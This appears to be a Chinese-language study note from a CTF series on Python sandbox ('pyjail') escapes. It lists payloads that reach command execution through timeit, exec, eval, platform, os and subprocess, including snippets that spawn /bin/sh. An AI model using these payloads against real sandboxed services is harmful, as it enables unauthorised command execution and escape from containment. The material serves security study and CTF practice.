关联:Python安全总览沙箱逃逸基础

pyjail theory-03 逃逸目标

终极目标

了解沙箱逃逸的目标才能有的放矢,沙箱逃逸的目标是执行 shell 、读写文件或者获取环境信息如环境变量等

命令执行

timeit 模块

核心功能是运行你提供的代码片段多次并计时。所以会造成命令执行

 
>>>import timeit
 
>>>timeit.timeit(stmt='pass', setup='pass', timer=<default timer>, number=1000000, globals=None)
 
  • stmt (statement): 要测量的代码片段(字符串或可调用对象)。

  • setup (setup): 在测量前执行的代码,用于初始化环境(仅执行一次)。

import timeit
timeit.timeit("__import__('os').system('ls')",number=1)

exec 函数

exec('__import__("os").system("ls")')

eval函数

eval('__import__("os").system("ls")')

eval执行多行命令:

eval(compile('__import__("os").system("ls")', '<string>', 'exec'))

platform 模块

platform 的功能是获取系统信息,所以导入了os,sys等模块,所以可以用来rce

import platform
platform.sys.modules['os'].system('ls')
platform.os.system('ls')

os模块

  • os.system—无回显(回显状态码,0为执行成功)

  • os.popen—有回显

  • os.posix_spawn—更底层的进程创建函数

  • os.exec*—新进程替换

  • os.spawn*—创建新进程

  • os.fork()—复制当前进程

import os
os.system('ls')
__import__('os').system('ls')
 
os.popen("ls").read()
 
os.posix_spawn("/bin/ls", ["/bin/ls", "-l"], os.environ)
 
os.posix_spawn("/bin/bash", ["/bin/bash"], os.environ)
 
#os.spawnv--一个个传
os.spawnv(0,"/bin/ls", ["ls", "-l"])
#os.spawnl--列表模式
os.spawnl(0,'/bin/ls','ls','-l','/')
import os
 
# os.execl
os.execl('/bin/sh', 'xx')
__import__('os').execl('/bin/sh', 'xx')
 
# os.execle
os.execle('/bin/sh', 'xx', os.environ)
__import__('os').execle('/bin/sh', 'xx', __import__('os').environ)
 
# os.execlp
os.execlp('sh', 'xx')
__import__('os').execle('/bin/sh', 'xx', __import__('os').environ)
 
# os.execlpe
os.execlpe('sh', 'xx', os.environ)
__import__('os').execlpe('sh', 'xx', __import__('os').environ)
 
# os.execv
os.execv('/bin/sh', ['xx'])
__import__('os').execv('/bin/sh', ['xx'])
 
# os.execve
os.execve('/bin/sh', ['xx'], os.environ)
__import__('os').execve('/bin/sh', ['xx'], __import__('os').environ)
 
# os.execvp
os.execvp('sh', ['xx'])
__import__('os').execvp('sh', ['xx'])
 
# os.execvpe
os.execvpe('sh', ['xx'], os.environ)
__import__('os').execvpe('sh', ['xx'], __import__('os').environ)
# os.fork() with os.exec*()
(__import__('os').fork() == 0) and __import__('os').system('ls')

subprocess 模块

import subprocess
subprocess.Popen('ls', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.read()
 
# python2
subprocess.call('whoami', shell=True)
subprocess.check_call('whoami', shell=True)
subprocess.check_output('whoami', shell=True)
subprocess.Popen('whoami', shell=True)
 
# python3
subprocess.run('whoami', shell=True)
subprocess.getoutput('whoami')
subprocess.getstatusoutput('whoami')
subprocess.call('whoami', shell=True)
subprocess.check_call('whoami', shell=True)
subprocess.check_output('whoami', shell=True)
subprocess.Popen('whoami', shell=True)
__import__('subprocess').Popen('whoami', shell=True)

pyjail theory-03 逃逸目标